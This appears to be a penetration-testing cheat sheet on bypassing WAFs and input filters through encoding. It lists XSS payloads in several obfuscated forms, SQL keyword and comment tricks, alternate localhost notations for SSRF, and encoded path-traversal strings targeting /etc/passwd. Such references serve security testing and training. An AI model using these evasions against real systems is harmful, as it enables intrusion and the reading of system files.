Encoding & Obfuscation
Encoding and obfuscation for WAF bypass and filter evasion: URL encoding, double encoding, HTML entities, Unicode/UTF-8 overlong, Base64, JS obfuscation, hex/octal IP notation, case variation, and multi-layer chains.
Why Encoding Matters
Filters and WAFs inspect the raw input string. If you encode your payload, the filter may not match it — but the backend parser decodes and executes it. The key is finding a mismatch between what the filter inspects and what the parser processes.
URL Encoding
| Plain | URL encoded | Double encoded |
|---|---|---|
< | %3C | %253C |
> | %3E | %253E |
' | %27 | %2527 |
" | %22 | %2522 |
/ | %2F | %252F |
\ | %5C | %255C |
space | %20 or + | %2520 |
& | %26 | %2526 |
# | %23 | %2523 |
. | %2E | %252E |
Use double encoding when the WAF decodes once before inspecting but the server decodes again before executing.
HTML Entity Encoding
Useful when input is reflected in HTML context:
< → < or < or < or <
> → > or > or >
' → ' or '
" → " or " or "
/ → / or /
In JavaScript event handlers, HTML entities are decoded:
<img src=x onerror="alert(1)">
Unicode / UTF-8 Obfuscation
Overlong UTF-8 encoding
Some parsers accept non-shortest form UTF-8 encodings. For / (0x2F):
Standard: %2F
Overlong: %C0%AF (invalid UTF-8 but accepted by some parsers)
%E0%80%AF
Unicode fullwidth characters
< → < (U+FF1C, fullwidth less-than)
> → > (U+FF1E)
' → ' (U+FF07)
/ → / (U+FF0F)
Some WAFs/filters only check ASCII ranges.
Unicode escape in JavaScript
<script> → <script>
alert(1) → alert(1)
alert() → alert()
IP Address Obfuscation
For SSRF and open redirect filter bypass:
127.0.0.1
2130706433 (decimal)
0x7f000001 (hex)
0177.0.0.1 (octal)
[::1] (IPv6 loopback)
[::ffff:127.0.0.1] (IPv4-mapped IPv6)
127.1 (short notation)
127.000.000.001 (leading zeros)
0:0:0:0:0:ffff:127.0.0.1 (full IPv6)
Base64 Encoding
In injection contexts where eval or atob is available:
eval(atob('YWxlcnQoMSk=')) // alert(1)
Or in SQL (MySQL):
SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==');
Hex Encoding
In SQL contexts:
SELECT 0x61646d696e; -- "admin" in hex
SELECT CHAR(65,68,77,73,78); -- MySQL CHAR()
For file paths:
/etc/passwd → /etc/%70asswd → /etc/\x70asswd
Case Variation
SELECT → SeLeCt → sElEcT
UNION → uNiOn
SCRIPT → ScRiPt
<sCrIpT>alert(1)</sCrIpT>
SQL is case-insensitive. HTML tags are case-insensitive in most browsers.
JavaScript Obfuscation
// JSFuck — uses only []()!+
// alert(1) in JSFuck:
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+ ...]
// String.fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41) // alert(1)
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// Template literals
`${'ale'+'rt'}(1)`
// Bracket notation
window['ale'+'rt'](1)
window['\x61\x6c\x65\x72\x74'](1)
// setTimeout string execution
setTimeout('ale'+'rt(1)',0)
Multi-Layer Encoding Chains
Combine encodings for deeper evasion. Example for path traversal:
../../../etc/passwd
..\..\..\etc\passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd (URL encoded)
%252e%252e%252f%252e%252e%252fetc%252fpasswd (double URL encoded)
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd (overlong UTF-8)
%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd (Windows backslash)
Whitespace / Comment Injection (SQL)
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- tabs
SELECT%0ausername%0afrom%0ausers -- newlines
SELECT%0d%0ausername%0d%0afrom%0d%0ausers
/*!SELECT*/ username /*!FROM*/ users -- MySQL conditional comments
Burp Suite workflow
- Decoder — manually encode/decode URL, HTML, Base64, hex.
- Hackvertor (BApp) — chain multiple encodings in a single tag:
<@urlencode><@base64>alert(1)<@/base64><@/urlencode>. - Intruder — fuzz with encoded variants of a known payload from a wordlist.
- Scanner — active scan applies common encoding evasions automatically.
- Extensions: Bypass WAF (BApp) — applies common encoding mutations to all scanner payloads.